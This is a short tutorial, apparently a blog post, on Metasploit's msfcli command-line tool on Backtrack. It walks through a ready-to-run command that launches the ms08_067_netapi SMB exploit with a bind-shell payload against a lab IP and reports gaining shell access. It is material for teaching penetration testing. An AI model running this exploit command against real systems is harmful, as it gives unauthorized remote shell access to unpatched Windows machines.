Similar to the MSFConsole, a command-line interface (CLI) provides an extensive coverage of various modules that can be launched at any one instance. However, it lacks some of the advanced automation features when compared to MSFConsole.
To access msfcli (on Backtrack 5 R3) go to Backtrack -> Exploitation Tools -> Network Exploitation Tools -> Metasploit Framework -> Msfcli or use the terminal to execute the following commands:
#msfcli -h
We will take a simple example of the use of msfcli, namely the exploit
is ms08_067_netapi. This exploit open smb ports in the windows. Where smb ports in use as a service Sharring folders, applications and other devices (printers, scanners, etc.)
To see what options should be inserted at an operating msfcli
we can use the option "O"
The "P" option is used to see the payload-payload anything that might be in
used in this exploit.
Finally setting the target IP using the RHOST parameter, it is now time to select
the compatible payload and execute our exploit.
# msfcli windows/smb/ms08_067_netapi RHOST=192.168.56.12 PAYLOAD=windows/shell/bind_tcp E
As you can see, we have acquired a local shell access to our target machine after setting the RHOST parameter for a chosen payload. This proves an easy-to-use and efficient management of MSFCLI for quick penetration testing.